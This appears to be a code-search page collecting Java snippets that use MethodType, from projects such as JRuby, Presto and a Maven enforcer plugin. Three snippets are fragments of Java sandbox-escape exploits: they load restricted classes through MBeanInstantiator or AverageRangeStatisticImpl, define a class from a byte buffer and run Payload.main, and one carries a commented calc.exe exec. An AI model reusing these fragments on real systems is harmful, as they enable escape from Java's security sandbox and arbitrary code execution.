Package java.lang.invoke

Examples of java.lang.invoke.MethodType$ConcurrentWeakInternSet$WeakEntry


    public static CallSite getConstantBootstrap(Lookup lookup, String name, MethodType type, int scopeIndex) throws NoSuchMethodException, IllegalAccessException {
        RubyConstantCallSite site;

        site = new RubyConstantCallSite(type, name);
       
        MethodType fallbackType = methodType(IRubyObject.class, RubyConstantCallSite.class, AbstractScript.class, ThreadContext.class, int.class);
        MethodHandle myFallback = insertArguments(
                lookup.findStatic(InvokeDynamicSupport.class, "constantFallback",
                fallbackType),
                0,
                site);
View Full Code Here


    public static CallSite getConstantBooleanBootstrap(Lookup lookup, String name, MethodType type, int scopeIndex) throws NoSuchMethodException, IllegalAccessException {
        RubyConstantCallSite site;

        site = new RubyConstantCallSite(type, name);
       
        MethodType fallbackType = methodType(boolean.class, RubyConstantCallSite.class, AbstractScript.class, ThreadContext.class, int.class);
        MethodHandle myFallback = insertArguments(
                lookup.findStatic(InvokeDynamicSupport.class, "constantBooleanFallback",
                fallbackType),
                0,
                site);
View Full Code Here

     */
    public ContextKey(Class<T> tclass, Class<G> gclass) {
        this.tclass = tclass;
        this.gclass = gclass;

        MethodType typ = MethodType.methodType(void.class, ThreadContext.class);
        try {
            tcon = MethodHandles.publicLookup().findConstructor(tclass, typ);
            gcon = MethodHandles.publicLookup().findConstructor(gclass, typ);
        } catch (Exception ex) {
            throw new RuntimeException("Required constructors not found for ContextKey", ex);
View Full Code Here

        if (oLexicalNames != null) {
            this.oLexStatic = new SixModelObject[oLexicalNames.length];
            this.oLexStaticFlags = new byte[oLexicalNames.length];
        }
        this.argsExpectation = argsExpectation;
        MethodType t = mh.type();
        if (t.parameterCount() == 5 && (t.parameterType(4) == ResumeStatus.Frame.class)) {
            /* Old way; goes away after bootstrap. */
            mhResume = MethodHandles.insertArguments(mh, 0, null, null, null, null);
            this.mh = MethodHandles.insertArguments(mh, 4, (Object)null);
        }
        else if (t.parameterCount() >= 4 && (t.parameterType(3) == ResumeStatus.Frame.class)) {
            mhResume = MethodHandles.insertArguments(mh, 0, null, null, null);
            switch (argsExpectation) {
            case ArgsExpectation.USE_BINDER:
                mhResume = MethodHandles.insertArguments(mhResume, 1, (Object)null);
                break;
View Full Code Here

  public static RuleConfiguration[] ruleConfigurations() throws Exception {
    List<RuleConfiguration> ruleConfig = new ArrayList<>(2 * DependencyScope.values().length);

    for (DependencyScope scope : DependencyScope.values()) {
      String configMethodName = "set" + StringUtils.capitalise(scope.getScopeName()) + "Dependencies";
      MethodType configMethodType = MethodType.methodType(void.class, String.class);
      MethodHandle configMethod = MethodHandles.publicLookup().findVirtual(
          PedanticDependencyScopeEnforcer.class, configMethodName, configMethodType);

      ruleConfig.add(new RuleConfiguration(configMethod, createCorrectConfiguration(scope), false));
      ruleConfig.add(new RuleConfiguration(configMethod, createWrongConfiguration(scope), true));
View Full Code Here

            MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
            ClassLoader a = null;
            Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
            Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
            MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
            MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
            MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
            MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
            MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
            Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
            MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
            MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
            MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
            MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
            Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
            MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
            MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
            Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
            localClass3.newInstance();

            Payload.main(null);
View Full Code Here

  private MethodHandle getMethod(Class c, String methodName,
      Class returnType, Class argTypes[], boolean isStaticMethod)
      throws NoSuchMethodException, IllegalAccessException {
    MethodHandle ret = null;

    MethodType methodType = MethodType.methodType(returnType, argTypes);

    if (isStaticMethod)
      ret = look.findStatic(c, methodName, methodType);
    else
      ret = look.findVirtual(c, methodName, methodType);
View Full Code Here

            Class c = Class.forName("java.lang.invoke.MethodHandles");
            Method m = c.getMethod("lookup", new Class[0]);
            AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0);
            MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]);

            MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
            MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0);
            Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
            Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
           
            // Instance of sun.org.mozilla.javascript.internal.Context
            MethodType localMethodType1 = MethodType.methodType(Void.TYPE);
            MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1);
            Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]);
           
            // Context.createClassLoader
            MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class);
            MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2);
            Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null });
           
            // GeneratedClassLoader.defineClass
            MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
            MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3);
            Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer });
           
            //New instance of the helper Class
            localClass3.newInstance();
View Full Code Here

                bos.write( buffer, 0, length );
            // convert it to a simple byte array
            buffer = bos.toByteArray();
     
            MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
            MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
            MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);
            Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
            Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
            MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
            MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
            MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
            MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
            Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
            MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
            MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
            MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
            MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
            Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
            MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
            MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
            Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
            localClass3.newInstance();
            Payload.main(null);
            //Runtime.getRuntime().exec("calc.exe");
View Full Code Here

    }

    private ByteCodeNode visitFunctionBinding(CompilerContext context, FunctionBinding functionBinding, String comment)
    {
        List<ByteCodeNode> arguments = functionBinding.getArguments();
        MethodType methodType = functionBinding.getCallSite().type();
        Class<?> unboxedReturnType = Primitives.unwrap(methodType.returnType());

        LabelNode end = new LabelNode("end");
        Block block = new Block(context)
                .setDescription("invoke")
                .comment(comment);
        ArrayList<Class<?>> stackTypes = new ArrayList<>();
        for (int i = 0; i < arguments.size(); i++) {
            block.append(arguments.get(i));
            stackTypes.add(methodType.parameterType(i));
            block.append(ifWasNullPopAndGoto(context, end, unboxedReturnType, Lists.reverse(stackTypes)));
        }
        block.invokeDynamic(functionBinding.getName(), methodType, functionBinding.getBindingId());

        if (functionBinding.isNullable()) {
            if (unboxedReturnType.isPrimitive()) {
                LabelNode notNull = new LabelNode("notNull");
                block.dup(methodType.returnType())
                        .ifNotNullGoto(notNull)
                        .putVariable("wasNull", true)
                        .comment("swap boxed null with unboxed default")
                        .pop(methodType.returnType())
                        .pushJavaDefault(unboxedReturnType)
                        .gotoLabel(end)
                        .visitLabel(notNull)
                        .append(unboxPrimitive(context, unboxedReturnType));
            }
            else {
                block.dup(methodType.returnType())
                        .ifNotNullGoto(end)
                        .putVariable("wasNull", true);
            }
        }
        block.visitLabel(end);
View Full Code Here

TOP

Related Classes of java.lang.invoke.MethodType$ConcurrentWeakInternSet$WeakEntry

Copyright © 2018 www.massapicom. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.